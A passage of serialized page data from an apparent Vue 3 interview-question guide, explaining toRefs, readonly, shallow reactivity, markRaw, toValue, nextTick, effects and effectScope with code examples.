name } = toRefs(state)\n\nstate.count++\nconsole.log(count.value) // 1, still connected\n",[18,3914,3915,3926,3930,3950,3972,3976,3982],{"__ignoreMap":128},[132,3916,3917,3919,3922,3924],{"class":134,"line":135},[132,3918,210],{"class":209},[132,3920,3921],{"class":138}," { reactive, toRefs } ",[132,3923,216],{"class":209},[132,3925,219],{"class":165},[132,3927,3928],{"class":134,"line":149},[132,3929,190],{"emptyLinePlaceholder":189},[132,3931,3932,3934,3936,3938,3940,3942,3944,3946,3948],{"class":134,"line":176},[132,3933,230],{"class":209},[132,3935,3107],{"class":233},[132,3937,237],{"class":209},[132,3939,3112],{"class":158},[132,3941,3115],{"class":138},[132,3943,246],{"class":233},[132,3945,3846],{"class":138},[132,3947,3849],{"class":165},[132,3949,3120],{"class":138},[132,3951,3952,3954,3956,3958,3960,3962,3964,3966,3969],{"class":134,"line":186},[132,3953,230],{"class":209},[132,3955,3858],{"class":138},[132,3957,3861],{"class":233},[132,3959,581],{"class":138},[132,3961,3866],{"class":233},[132,3963,3869],{"class":138},[132,3965,162],{"class":209},[132,3967,3968],{"class":158}," toRefs",[132,3970,3971],{"class":138},"(state)\n",[132,3973,3974],{"class":134,"line":193},[132,3975,190],{"emptyLinePlaceholder":189},[132,3977,3978,3980],{"class":134,"line":206},[132,3979,3165],{"class":138},[132,3981,275],{"class":209},[132,3983,3984,3986,3988,3991],{"class":134,"line":222},[132,3985,3889],{"class":138},[132,3987,3143],{"class":158},[132,3989,3990],{"class":138},"(count.value) ",[132,3992,3993],{"class":397},"// 1, still connected\n",[11,3995,3996,3997,4000,4001,4004],{},"This pattern shows up constantly in composables. If a composable returns a ",[18,3998,3999],{},"reactive"," object directly and the caller destructures it, reactivity breaks silently with no error. Returning ",[18,4002,4003],{},"toRefs(state)"," (or a plain object of individual refs) instead means the caller can safely destructure without losing the connection to the underlying state.",[34,4006,4008,4009,592,4012,1349],{"id":4007},"_31-what-is-the-difference-between-toref-and-torefs","31. What is the difference between ",[18,4010,4011],{},"toRef",[18,4013,3802],{},[11,4015,4016,4019,4020,4022],{},[18,4017,4018],{},"toRef()"," creates a single ref linked to one property of a reactive object (or a ref linked to any getter/setter pair, or even a plain default value). ",[18,4021,3902],{}," does the same thing but for every property on a reactive object at once, returning a plain object full of refs.",[123,4024,4026],{"className":388,"code":4025,"language":390,"meta":128,"style":128},"import { reactive, toRef, toRefs } from 'vue'\n\nconst state = reactive({ count: 0, name: 'Vue' })\n\nconst countRef = toRef(state, 'count')     // just one property\nconst refs = toRefs(state)                  // { count: Ref, name: Ref }\n",[18,4027,4028,4039,4043,4063,4067,4091],{"__ignoreMap":128},[132,4029,4030,4032,4035,4037],{"class":134,"line":135},[132,4031,210],{"class":209},[132,4033,4034],{"class":138}," { reactive, toRef, toRefs } ",[132,4036,216],{"class":209},[132,4038,219],{"class":165},[132,4040,4041],{"class":134,"line":149},[132,4042,190],{"emptyLinePlaceholder":189},[132,4044,4045,4047,4049,4051,4053,4055,4057,4059,4061],{"class":134,"line":176},[132,4046,230],{"class":209},[132,4048,3107],{"class":233},[132,4050,237],{"class":209},[132,4052,3112],{"class":158},[132,4054,3115],{"class":138},[132,4056,246],{"class":233},[132,4058,3846],{"class":138},[132,4060,3849],{"class":165},[132,4062,3120],{"class":138},[132,4064,4065],{"class":134,"line":186},[132,4066,190],{"emptyLinePlaceholder":189},[132,4068,4069,4071,4074,4076,4079,4082,4085,4088],{"class":134,"line":193},[132,4070,230],{"class":209},[132,4072,4073],{"class":233}," countRef",[132,4075,237],{"class":209},[132,4077,4078],{"class":158}," toRef",[132,4080,4081],{"class":138},"(state, ",[132,4083,4084],{"class":165},"'count'",[132,4086,4087],{"class":138},")     ",[132,4089,4090],{"class":397},"// just one property\n",[132,4092,4093,4095,4098,4100,4102,4105],{"class":134,"line":206},[132,4094,230],{"class":209},[132,4096,4097],{"class":233}," refs",[132,4099,237],{"class":209},[132,4101,3968],{"class":158},[132,4103,4104],{"class":138},"(state)                  ",[132,4106,4107],{"class":397},"// { count: Ref, name: Ref }\n",[11,4109,4110,4111,4113,4114,4117,4118,4120,4121,4124,4125,4127,4128,4124,4130,385],{},"Use ",[18,4112,4018],{}," when you only need to pass one property of a reactive object down to a child component or a composable while keeping it linked to the source, for example ",[18,4115,4116],{},"toRef(props, 'modelValue')",". Use ",[18,4119,3902],{}," when you want to destructure the whole object at once, most commonly at the end of a composable function so callers can pull out individual pieces with object destructuring without losing reactivity. Both directions stay live: writing to ",[18,4122,4123],{},"countRef.value"," updates ",[18,4126,3165],{},", and writing to ",[18,4129,3165],{},[18,4131,4123],{},[34,4133,4135,4136,4139],{"id":4134},"_32-what-does-readonly-do-and-when-would-you-wrap-a-value-with-it","32. What does ",[18,4137,4138],{},"readonly()"," do, and when would you wrap a value with it?",[11,4141,4142,4144],{},[18,4143,4138],{}," takes a reactive object (or a plain object, or even a ref) and returns a new proxy where every mutation attempt is intercepted and blocked. In development, trying to write to a readonly value logs a warning and the write is silently ignored; in production the warning is stripped but the write still does nothing. Reads still work normally, and the readonly version still tracks dependencies and updates the UI when the underlying source changes.",[123,4146,4148],{"className":388,"code":4147,"language":390,"meta":128,"style":128},"import { reactive, readonly } from 'vue'\n\nconst original = reactive({ count: 0 })\nconst copy = readonly(original)\n\ncopy.count++       // warns in dev, does nothing\noriginal.count++   // this still works, and copy.count reflects it too\n",[18,4149,4150,4161,4165,4182,4197,4201,4211],{"__ignoreMap":128},[132,4151,4152,4154,4157,4159],{"class":134,"line":135},[132,4153,210],{"class":209},[132,4155,4156],{"class":138}," { reactive, readonly } ",[132,4158,216],{"class":209},[132,4160,219],{"class":165},[132,4162,4163],{"class":134,"line":149},[132,4164,190],{"emptyLinePlaceholder":189},[132,4166,4167,4169,4172,4174,4176,4178,4180],{"class":134,"line":176},[132,4168,230],{"class":209},[132,4170,4171],{"class":233}," original",[132,4173,237],{"class":209},[132,4175,3112],{"class":158},[132,4177,3115],{"class":138},[132,4179,246],{"class":233},[132,4181,3120],{"class":138},[132,4183,4184,4186,4189,4191,4194],{"class":134,"line":186},[132,4185,230],{"class":209},[132,4187,4188],{"class":233}," copy",[132,4190,237],{"class":209},[132,4192,4193],{"class":158}," readonly",[132,4195,4196],{"class":138},"(original)\n",[132,4198,4199],{"class":134,"line":193},[132,4200,190],{"emptyLinePlaceholder":189},[132,4202,4203,4206,4208],{"class":134,"line":206},[132,4204,4205],{"class":138},"copy.count",[132,4207,3168],{"class":209},[132,4209,4210],{"class":397},"       // warns in dev, does nothing\n",[132,4212,4213,4216,4218],{"class":134,"line":222},[132,4214,4215],{"class":138},"original.count",[132,4217,3168],{"class":209},[132,4219,4220],{"class":397},"   // this still works, and copy.count reflects it too\n",[11,4222,4223],{},"The main use case is enforcing one-way data flow. A common pattern is a composable or a store that owns some state internally and wants to expose it to the rest of the app without letting outside code mutate it directly, forcing all changes to go through explicit functions or actions instead.",[123,4225,4227],{"className":388,"code":4226,"language":390,"meta":128,"style":128},"function useCounter() {\n    const state = reactive({ count: 0 })\n    function increment() {\n        state.count++\n    }\n    return {\n        state: readonly(state),\n        increment\n    }\n}\n",[18,4228,4229,4238,4255,4264,4271,4275,4281,4292,4297,4301],{"__ignoreMap":128},[132,4230,4231,4233,4236],{"class":134,"line":135},[132,4232,260],{"class":209},[132,4234,4235],{"class":158}," useCounter",[132,4237,266],{"class":138},[132,4239,4240,4243,4245,4247,4249,4251,4253],{"class":134,"line":149},[132,4241,4242],{"class":209},"    const",[132,4244,3107],{"class":233},[132,4246,237],{"class":209},[132,4248,3112],{"class":158},[132,4250,3115],{"class":138},[132,4252,246],{"class":233},[132,4254,3120],{"class":138},[132,4256,4257,4260,4262],{"class":134,"line":176},[132,4258,4259],{"class":209},"    function",[132,4261,263],{"class":158},[132,4263,266],{"class":138},[132,4265,4266,4269],{"class":134,"line":186},[132,4267,4268],{"class":138},"        state.count",[132,4270,275],{"class":209},[132,4272,4273],{"class":134,"line":193},[132,4274,870],{"class":138},[132,4276,4277,4279],{"class":134,"line":206},[132,4278,706],{"class":209},[132,4280,316],{"class":138},[132,4282,4283,4286,4289],{"class":134,"line":222},[132,4284,4285],{"class":138},"        state: ",[132,4287,4288],{"class":158},"readonly",[132,4290,4291],{"class":138},"(state),\n",[132,4293,4294],{"class":134,"line":227},[132,4295,4296],{"class":138},"        increment\n",[132,4298,4299],{"class":134,"line":252},[132,4300,870],{"class":138},[132,4302,4303],{"class":134,"line":257},[132,4304,281],{"class":138},[11,4306,4307,4308,4311],{},"This is also exactly how ",[18,4309,4310],{},"props"," behave by default in Vue components: a child receives readonly reactive props precisely so it cannot accidentally mutate state that the parent owns.",[34,4313,4315,4316,4319,4320,4323],{"id":4314},"_33-what-is-the-difference-between-shallowrefshallowreactive-and-their-deep-versions","33. What is the difference between ",[18,4317,4318],{},"shallowRef","/",[18,4321,4322],{},"shallowReactive"," and their deep versions?",[11,4325,4326,4327,592,4329,4331,4332,4335],{},"By default, ",[18,4328,3079],{},[18,4330,3071],{}," are deep: if you give them a nested object, Vue recursively makes every nested property reactive too, so changing ",[18,4333,4334],{},"state.user.address.city"," still triggers updates. That recursive conversion has a cost, especially for large or deeply nested objects.",[11,4337,4338,4341,4342,4344,4345,4348],{},[18,4339,4340],{},"shallowRef()"," only makes the ",[18,4343,3075],{}," assignment itself reactive; it does not touch anything inside the value. ",[18,4346,4347],{},"shallowReactive()"," only makes the top-level properties reactive; nested objects inside it stay as plain, non-reactive objects.",[123,4350,4352],{"className":388,"code":4351,"language":390,"meta":128,"style":128},"import { shallowRef, shallowReactive } from 'vue'\n\nconst state = shallowRef({ user: { name: 'Kashyap' } })\nstate.value.user.name = 'Changed' // does NOT trigger an update\nstate.value = { user: { name: 'New' } } // this DOES trigger an update\n\nconst obj = shallowReactive({ nested: { count: 0 } })\nobj.nested.count++  // does NOT trigger an update\nobj.nested = { count: 1 } // this DOES trigger an update\n",[18,4353,4354,4365,4369,4389,4402,4421,4425,4444,4454],{"__ignoreMap":128},[132,4355,4356,4358,4361,4363],{"class":134,"line":135},[132,4357,210],{"class":209},[132,4359,4360],{"class":138}," { shallowRef, shallowReactive } ",[132,4362,216],{"class":209},[132,4364,219],{"class":165},[132,4366,4367],{"class":134,"line":149},[132,4368,190],{"emptyLinePlaceholder":189},[132,4370,4371,4373,4375,4377,4380,4383,4386],{"class":134,"line":176},[132,4372,230],{"class":209},[132,4374,3107],{"class":233},[132,4376,237],{"class":209},[132,4378,4379],{"class":158}," shallowRef",[132,4381,4382],{"class":138},"({ user: { name: ",[132,4384,4385],{"class":165},"'Kashyap'",[132,4387,4388],{"class":138}," } })\n",[132,4390,4391,4394,4396,4399],{"class":134,"line":186},[132,4392,4393],{"class":138},"state.value.user.name ",[132,4395,162],{"class":209},[132,4397,4398],{"class":165}," 'Changed'",[132,4400,4401],{"class":397}," // does NOT trigger an update\n",[132,4403,4404,4407,4409,4412,4415,4418],{"class":134,"line":193},[132,4405,4406],{"class":138},"state.value ",[132,4408,162],{"class":209},[132,4410,4411],{"class":138}," { user: { name: ",[132,4413,4414],{"class":165},"'New'",[132,4416,4417],{"class":138}," } } ",[132,4419,4420],{"class":397},"// this DOES trigger an update\n",[132,4422,4423],{"class":134,"line":206},[132,4424,190],{"emptyLinePlaceholder":189},[132,4426,4427,4429,4432,4434,4437,4440,4442],{"class":134,"line":222},[132,4428,230],{"class":209},[132,4430,4431],{"class":233}," obj",[132,4433,237],{"class":209},[132,4435,4436],{"class":158}," shallowReactive",[132,4438,4439],{"class":138},"({ nested: { count: ",[132,4441,246],{"class":233},[132,4443,4388],{"class":138},[132,4445,4446,4449,4451],{"class":134,"line":227},[132,4447,4448],{"class":138},"obj.nested.count",[132,4450,3168],{"class":209},[132,4452,4453],{"class":397},"  // does NOT trigger an update\n",[132,4455,4456,4459,4461,4464,4466,4468],{"class":134,"line":252},[132,4457,4458],{"class":138},"obj.nested ",[132,4460,162],{"class":209},[132,4462,4463],{"class":138}," { count: ",[132,4465,1567],{"class":233},[132,4467,3869],{"class":138},[132,4469,4420],{"class":397},[11,4471,4472],{},"The typical use case is performance: large data structures you receive from an API and treat as immutable blobs (only ever replaced wholesale, never mutated piece by piece), or integrating with external state management or non-Vue libraries where you do not want Vue's reactivity conversion overhead applied to every nested field. If you find yourself mutating deep inside a shallow value and expecting the UI to update, that is the tell that you reached for the wrong one.",[34,4474,4476,4477,2825],{"id":4475},"_34-what-is-markraw-and-when-would-you-use-it","34. What is ",[18,4478,4479],{},"markRaw()",[11,4481,4482,4484,4485,4487],{},[18,4483,4479],{}," marks an object so that Vue's reactivity system will never convert it into a reactive Proxy, even if you later pass it into ",[18,4486,3071],{},". It permanently opts that specific object out of tracking.",[123,4489,4491],{"className":388,"code":4490,"language":390,"meta":128,"style":128},"import { reactive, markRaw } from 'vue'\n\nclass HeavyThirdPartyInstance {\n    // some large external library instance\n}\n\nconst state = reactive({\n    instance: markRaw(new HeavyThirdPartyInstance())\n})\n\nstate.instance // plain object, never wrapped in a Proxy\n",[18,4492,4493,4504,4508,4517,4522,4526,4530,4543,4561,4565,4569],{"__ignoreMap":128},[132,4494,4495,4497,4500,4502],{"class":134,"line":135},[132,4496,210],{"class":209},[132,4498,4499],{"class":138}," { reactive, markRaw } ",[132,4501,216],{"class":209},[132,4503,219],{"class":165},[132,4505,4506],{"class":134,"line":149},[132,4507,190],{"emptyLinePlaceholder":189},[132,4509,4510,4512,4515],{"class":134,"line":176},[132,4511,1731],{"class":209},[132,4513,4514],{"class":158}," HeavyThirdPartyInstance",[132,4516,316],{"class":138},[132,4518,4519],{"class":134,"line":186},[132,4520,4521],{"class":397},"    // some large external library instance\n",[132,4523,4524],{"class":134,"line":193},[132,4525,281],{"class":138},[132,4527,4528],{"class":134,"line":206},[132,4529,190],{"emptyLinePlaceholder":189},[132,4531,4532,4534,4536,4538,4540],{"class":134,"line":222},[132,4533,230],{"class":209},[132,4535,3107],{"class":233},[132,4537,237],{"class":209},[132,4539,3112],{"class":158},[132,4541,4542],{"class":138},"({\n",[132,4544,4545,4548,4551,4553,4556,4558],{"class":134,"line":227},[132,4546,4547],{"class":138},"    instance: ",[132,4549,4550],{"class":158},"markRaw",[132,4552,243],{"class":138},[132,4554,4555],{"class":209},"new",[132,4557,4514],{"class":158},[132,4559,4560],{"class":138},"())\n",[132,4562,4563],{"class":134,"line":252},[132,4564,3156],{"class":138},[132,4566,4567],{"class":134,"line":257},[132,4568,190],{"emptyLinePlaceholder":189},[132,4570,4571,4574],{"class":134,"line":269},[132,4572,4573],{"class":138},"state.instance ",[132,4575,4576],{"class":397},"// plain object, never wrapped in a Proxy\n",[11,4578,4579,4580,4583,4584,4586],{},"This matters for two reasons. First, performance: wrapping large complex objects (like a charting library instance, a map instance, or a big class hierarchy) in a reactive Proxy adds tracking overhead for no benefit if you never need Vue to react to changes on it. Second, and more importantly, some third party objects genuinely break when wrapped in a Proxy, because the library does internal identity checks (",[18,4581,4582],{},"===",") that fail once the object is a Proxy wrapper rather than the original instance, or because the library's internal methods do not expect to be called through a Proxy. ",[18,4585,4479],{}," is the escape hatch for storing these kinds of objects inside otherwise reactive state without either problem.",[34,4588,4590,4591,581,4594,626,4597,4600],{"id":4589},"_35-what-do-isref-unref-and-tovalue-do","35. What do ",[18,4592,4593],{},"isRef",[18,4595,4596],{},"unref",[18,4598,4599],{},"toValue"," do?",[11,4602,4603],{},"These are small utility functions for writing code, usually composables, that needs to work with values that might or might not be refs.",[11,4605,4606,4609,4610,1334,4612,4615],{},[18,4607,4608],{},"isRef(value)"," is a type guard that tells you whether something is a ref, returning ",[18,4611,1853],{},[18,4613,4614],{},"false",". It is mostly used in composables that accept flexible arguments and need to branch based on what they were given.",[11,4617,4618,4621,4622,4625,4626,4629,4630,4632,4633,4636],{},[18,4619,4620],{},"unref(value)"," returns ",[18,4623,4624],{},"value.value"," if ",[18,4627,4628],{},"value"," is a ref, or returns ",[18,4631,4628],{}," unchanged if it is not. It is shorthand for ",[18,4634,4635],{},"isRef(value) ? value.value : value",", letting you safely read a value without knowing in advance if it was passed as a ref or a plain value.",[123,4638,4640],{"className":388,"code":4639,"language":390,"meta":128,"style":128},"import { ref, isRef, unref } from 'vue'\n\nfunction double(x) {\n    return unref(x) * 2\n}\n\ndouble(4)       // 8\ndouble(ref(4))  // 8, unwraps automatically\n",[18,4641,4642,4653,4657,4671,4687,4691,4695,4711],{"__ignoreMap":128},[132,4643,4644,4646,4649,4651],{"class":134,"line":135},[132,4645,210],{"class":209},[132,4647,4648],{"class":138}," { ref, isRef, unref } ",[132,4650,216],{"class":209},[132,4652,219],{"class":165},[132,4654,4655],{"class":134,"line":149},[132,4656,190],{"emptyLinePlaceholder":189},[132,4658,4659,4661,4664,4666,4669],{"class":134,"line":176},[132,4660,260],{"class":209},[132,4662,4663],{"class":158}," double",[132,4665,243],{"class":138},[132,4667,4668],{"class":697},"x",[132,4670,701],{"class":138},[132,4672,4673,4675,4678,4681,4684],{"class":134,"line":186},[132,4674,706],{"class":209},[132,4676,4677],{"class":158}," unref",[132,4679,4680],{"class":138},"(x) ",[132,4682,4683],{"class":209},"*",[132,4685,4686],{"class":233}," 2\n",[132,4688,4689],{"class":134,"line":193},[132,4690,281],{"class":138},[132,4692,4693],{"class":134,"line":206},[132,4694,190],{"emptyLinePlaceholder":189},[132,4696,4697,4700,4702,4705,4708],{"class":134,"line":222},[132,4698,4699],{"class":158},"double",[132,4701,243],{"class":138},[132,4703,4704],{"class":233},"4",[132,4706,4707],{"class":138},")       ",[132,4709,4710],{"class":397},"// 8\n",[132,4712,4713,4715,4717,4719,4721,4723,4726],{"class":134,"line":227},[132,4714,4699],{"class":158},[132,4716,243],{"class":138},[132,4718,1004],{"class":158},[132,4720,243],{"class":138},[132,4722,4704],{"class":233},[132,4724,4725],{"class":138},"))  ",[132,4727,4728],{"class":397},"// 8, unwraps automatically\n",[11,4730,4731,4734,4735,4738,4739,1334,4741,4743,4744,4746],{},[18,4732,4733],{},"toValue()"," does something similar to ",[18,4736,4737],{},"unref()"," but goes a step further: it also unwraps getter functions, calling them if the input is a function, and it is reactive, meaning if you use it inside an ",[18,4740,3129],{},[18,4742,629],{},", it will re-track dependencies correctly even as the source changes. This makes ",[18,4745,4733],{}," the recommended way to normalize arguments in composables, since it accepts a plain value, a ref, or a getter function and always gives you the current value back.",[123,4748,4750],{"className":388,"code":4749,"language":390,"meta":128,"style":128},"import { toValue } from 'vue'\n\nfunction useFeature(source) {\n    watchEffect(() => {\n        const value = toValue(source) // works whether source is a value, a ref, or () => something\n        console.log(value)\n    })\n}\n",[18,4751,4752,4763,4767,4781,4792,4810,4820,4825],{"__ignoreMap":128},[132,4753,4754,4756,4759,4761],{"class":134,"line":135},[132,4755,210],{"class":209},[132,4757,4758],{"class":138}," { toValue } ",[132,4760,216],{"class":209},[132,4762,219],{"class":165},[132,4764,4765],{"class":134,"line":149},[132,4766,190],{"emptyLinePlaceholder":189},[132,4768,4769,4771,4774,4776,4779],{"class":134,"line":176},[132,4770,260],{"class":209},[132,4772,4773],{"class":158}," useFeature",[132,4775,243],{"class":138},[132,4777,4778],{"class":697},"source",[132,4780,701],{"class":138},[132,4782,4783,4786,4788,4790],{"class":134,"line":186},[132,4784,4785],{"class":158},"    watchEffect",[132,4787,2659],{"class":138},[132,4789,2662],{"class":209},[132,4791,316],{"class":138},[132,4793,4794,4796,4799,4801,4804,4807],{"class":134,"line":193},[132,4795,824],{"class":209},[132,4797,4798],{"class":233}," value",[132,4800,237],{"class":209},[132,4802,4803],{"class":158}," toValue",[132,4805,4806],{"class":138},"(source) ",[132,4808,4809],{"class":397},"// works whether source is a value, a ref, or () => something\n",[132,4811,4812,4815,4817],{"class":134,"line":206},[132,4813,4814],{"class":138},"        console.",[132,4816,3143],{"class":158},[132,4818,4819],{"class":138},"(value)\n",[132,4821,4822],{"class":134,"line":222},[132,4823,4824],{"class":138},"    })\n",[132,4826,4827],{"class":134,"line":227},[132,4828,281],{"class":138},[34,4830,4832,4833,4836],{"id":4831},"_36-what-is-nexttick-and-why-do-you-sometimes-need-it-after-changing-reactive-state","36. What is ",[18,4834,4835],{},"nextTick()",", and why do you sometimes need it after changing reactive state?",[11,4838,4839],{},"Vue does not update the DOM the instant you change reactive state. Instead, it batches updates: if you change several reactive properties in the same tick of the event loop, Vue queues a single re-render and flushes it asynchronously, rather than re-rendering after every individual assignment. This is a deliberate performance optimization, since re-rendering the DOM synchronously on every single mutation would be wasteful if you are about to change ten more properties right after.",[11,4841,4842,4844],{},[18,4843,4835],{}," returns a promise that resolves after Vue has finished flushing its update queue and the DOM has actually been patched to reflect the new state. You use it whenever you need to read something from the DOM (like an element's height, or its scroll position) immediately after a state change that affects that element.",[123,4846,4848],{"className":125,"code":4847,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, nextTick } from 'vue'\n\nconst show = ref(false)\nconst box = ref(null)\n\nasync function reveal() {\n    show.value = true\n    // at this point, the DOM has not updated yet, box.value has no height\n    await nextTick()\n    // now the DOM is updated, safe to measure\n    console.log(box.value.offsetHeight)\n}\n\u003C/script>\n",[18,4849,4850,4860,4871,4875,4892,4909,4913,4926,4936,4941,4952,4957,4966,4970],{"__ignoreMap":128},[132,4851,4852,4854,4856,4858],{"class":134,"line":135},[132,4853,139],{"class":138},[132,4855,198],{"class":142},[132,4857,201],{"class":158},[132,4859,146],{"class":138},[132,4861,4862,4864,4867,4869],{"class":134,"line":149},[132,4863,210],{"class":209},[132,4865,4866],{"class":138}," { ref, nextTick } ",[132,4868,216],{"class":209},[132,4870,219],{"class":165},[132,4872,4873],{"class":134,"line":176},[132,4874,190],{"emptyLinePlaceholder":189},[132,4876,4877,4879,4882,4884,4886,4888,4890],{"class":134,"line":186},[132,4878,230],{"class":209},[132,4880,4881],{"class":233}," show",[132,4883,237],{"class":209},[132,4885,240],{"class":158},[132,4887,243],{"class":138},[132,4889,4614],{"class":233},[132,4891,249],{"class":138},[132,4893,4894,4896,4899,4901,4903,4905,4907],{"class":134,"line":193},[132,4895,230],{"class":209},[132,4897,4898],{"class":233}," box",[132,4900,237],{"class":209},[132,4902,240],{"class":158},[132,4904,243],{"class":138},[132,4906,719],{"class":233},[132,4908,249],{"class":138},[132,4910,4911],{"class":134,"line":206},[132,4912,190],{"emptyLinePlaceholder":189},[132,4914,4915,4918,4921,4924],{"class":134,"line":222},[132,4916,4917],{"class":209},"async",[132,4919,4920],{"class":209}," function",[132,4922,4923],{"class":158}," reveal",[132,4925,266],{"class":138},[132,4927,4928,4931,4933],{"class":134,"line":227},[132,4929,4930],{"class":138},"    show.value ",[132,4932,162],{"class":209},[132,4934,4935],{"class":233}," true\n",[132,4937,4938],{"class":134,"line":252},[132,4939,4940],{"class":397},"    // at this point, the DOM has not updated yet, box.value has no height\n",[132,4942,4943,4946,4949],{"class":134,"line":257},[132,4944,4945],{"class":209},"    await",[132,4947,4948],{"class":158}," nextTick",[132,4950,4951],{"class":138},"()\n",[132,4953,4954],{"class":134,"line":269},[132,4955,4956],{"class":397},"    // now the DOM is updated, safe to measure\n",[132,4958,4959,4961,4963],{"class":134,"line":278},[132,4960,3140],{"class":138},[132,4962,3143],{"class":158},[132,4964,4965],{"class":138},"(box.value.offsetHeight)\n",[132,4967,4968],{"class":134,"line":284},[132,4969,281],{"class":138},[132,4971,4972,4974,4976],{"class":134,"line":293},[132,4973,179],{"class":138},[132,4975,198],{"class":142},[132,4977,146],{"class":138},[11,4979,4980,4981,4984,4985,4988,4989,4992,4993,4995],{},"Without ",[18,4982,4983],{},"await nextTick()",", reading ",[18,4986,4987],{},"box.value.offsetHeight"," right after ",[18,4990,4991],{},"show.value = true"," would give you stale measurements, because the ",[18,4994,1345],{}," that reveals the element has not actually run yet in the DOM.",[34,4997,4999],{"id":4998},"_37-how-does-vue-know-which-parts-of-the-dom-to-update-when-reactive-state-changes","37. How does Vue know which parts of the DOM to update when reactive state changes?",[11,5001,5002],{},"Vue does not diff the entire DOM tree blindly on every change. It compiles each component's template into a render function, and when that render function runs, Vue builds a virtual DOM tree, a lightweight JavaScript object representation of what the real DOM should look like. On the next render, Vue compares (diffs) the new virtual DOM tree against the previous one, and only applies the minimal set of real DOM operations needed to make the actual DOM match.",[11,5004,5005,5006,5008,5009,581,5011,5014],{},"Reactivity is what decides when to re-run that render function in the first place. Every component's render function is wrapped in a reactive ",[18,5007,3129],{},". While it runs, Vue records every reactive property it read, ",[18,5010,3241],{},[18,5012,5013],{},"state.name",", and so on, building a dependency map. When one of those exact properties changes later, Vue looks up which effects depend on it and re-runs only those, not every component in the app.",[11,5016,5017],{},"Vue 3's compiler also adds an optimization on top of the raw virtual DOM diff called static analysis: at compile time, it can see which parts of a template are static (never change) and which are dynamic (bound to reactive data), and it marks the dynamic ones with \"patch flags.\" At render time, Vue skips comparing static nodes entirely and jumps straight to patching only the flagged dynamic bindings. This is why Vue 3's rendering is noticeably faster than a naive virtual DOM diff: reactivity narrows down which components re-render, and compiler flags narrow down which parts of those components actually get touched in the DOM.",[34,5019,5021],{"id":5020},"_38-what-is-an-effect-in-vues-reactivity-system","38. What is an \"effect\" in Vue's reactivity system?",[11,5023,5024,5025,581,5027,581,5030,5033],{},"An effect is a piece of code that Vue re-runs automatically whenever a reactive value it depends on changes. It is the core primitive that everything else in Vue's reactivity is built on top of, ",[18,5026,629],{},[18,5028,5029],{},"watch",[18,5031,5032],{},"watchEffect",", and even component rendering are all effects under the hood.",[11,5035,5036,5037,5039,5040,5043,5044,5047,5048,5051,5052,5054],{},"The low-level function is ",[18,5038,3176],{},", exported from ",[18,5041,5042],{},"@vue/reactivity"," (not typically something you call directly in application code, but useful for understanding the mechanism). When you call ",[18,5045,5046],{},"effect(fn)",", Vue runs ",[18,5049,5050],{},"fn"," immediately, and while it runs, tracks every reactive property that gets read inside it. Vue then subscribes that effect to each of those properties. The next time any of them changes, Vue re-runs ",[18,5053,5050],{}," automatically.",[123,5056,5058],{"className":388,"code":5057,"language":390,"meta":128,"style":128},"import { reactive, effect } from 'vue'\n\nconst state = reactive({ count: 0 })\n\neffect(() => {\n    console.log('count changed to', state.count)\n})\n\nstate.count = 5 // effect re-runs, logs \"count changed to 5\"\n",[18,5059,5060,5070,5074,5090,5094,5104,5117,5121,5125],{"__ignoreMap":128},[132,5061,5062,5064,5066,5068],{"class":134,"line":135},[132,5063,210],{"class":209},[132,5065,3092],{"class":138},[132,5067,216],{"class":209},[132,5069,219],{"class":165},[132,5071,5072],{"class":134,"line":149},[132,5073,190],{"emptyLinePlaceholder":189},[132,5075,5076,5078,5080,5082,5084,5086,5088],{"class":134,"line":176},[132,5077,230],{"class":209},[132,5079,3107],{"class":233},[132,5081,237],{"class":209},[132,5083,3112],{"class":158},[132,5085,3115],{"class":138},[132,5087,246],{"class":233},[132,5089,3120],{"class":138},[132,5091,5092],{"class":134,"line":186},[132,5093,190],{"emptyLinePlaceholder":189},[132,5095,5096,5098,5100,5102],{"class":134,"line":193},[132,5097,3129],{"class":158},[132,5099,2659],{"class":138},[132,5101,2662],{"class":209},[132,5103,316],{"class":138},[132,5105,5106,5108,5110,5112,5115],{"class":134,"line":206},[132,5107,3140],{"class":138},[132,5109,3143],{"class":158},[132,5111,243],{"class":138},[132,5113,5114],{"class":165},"'count changed to'",[132,5116,3151],{"class":138},[132,5118,5119],{"class":134,"line":222},[132,5120,3156],{"class":138},[132,5122,5123],{"class":134,"line":227},[132,5124,190],{"emptyLinePlaceholder":189},[132,5126,5127,5130,5132,5135],{"class":134,"line":252},[132,5128,5129],{"class":138},"state.count ",[132,5131,162],{"class":209},[132,5133,5134],{"class":233}," 5",[132,5136,5137],{"class":397}," // effect re-runs, logs \"count changed to 5\"\n",[11,5139,5140,5143,5144,5146],{},[18,5141,5142],{},"watchEffect()"," is essentially a thin, component-lifecycle-aware wrapper around this same ",[18,5145,3176],{}," mechanism: it runs your function immediately, tracks dependencies automatically, and cleans itself up when the component unmounts. Understanding that render functions, watchers, and computed properties are all \"just effects\" underneath is the key to understanding why Vue's reactivity feels automatic: you never manually subscribe to anything, reading a value inside any of these effect-based APIs is the subscription.",[34,5148,5150,5151,5154],{"id":5149},"_39-what-is-effectscope-and-when-would-you-reach-for-it","39. What is ",[18,5152,5153],{},"effectScope()",", and when would you reach for it?",[11,5156,5157,5159,5160,5162,5163,4319,5165,5167],{},[18,5158,5153],{}," groups multiple reactive effects, ",[18,5161,629],{}," properties, and ",[18,5164,5029],{},[18,5166,5032],{}," calls together so they can all be stopped, cleaned up, and garbage collected as one unit, instead of you having to track and stop each one individually.",[11,5169,5170,5171,355,5173,5175,5176,5178],{},"Normally, when effects are created inside a component's ",[18,5172,968],{},[18,5174,20],{},"), Vue automatically binds their lifecycle to that component and disposes of them when the component unmounts, so you rarely think about this. But composables that create watchers or computed values outside of a component's setup context, for example inside a plugin, a store, or a standalone utility that is not itself a component, do not get that automatic cleanup. ",[18,5177,5153],{}," is the manual tool for that situation.",[123,5180,5182],{"className":388,"code":5181,"language":390,"meta":128,"style":128},"import { effectScope, ref, watch, computed } from 'vue'\n\nconst scope = effectScope()\n\nscope.run(() => {\n    const count = ref(0)\n    const double = computed(() => count.value * 2)\n    watch(count, (val) => console.log('count is', val))\n})\n\n// later, stop everything created inside the scope at once\nscope.stop()\n",[18,5183,5184,5195,5199,5213,5217,5231,5247,5271,5299,5303,5307,5312],{"__ignoreMap":128},[132,5185,5186,5188,5191,5193],{"class":134,"line":135},[132,5187,210],{"class":209},[132,5189,5190],{"class":138}," { effectScope, ref, watch, computed } 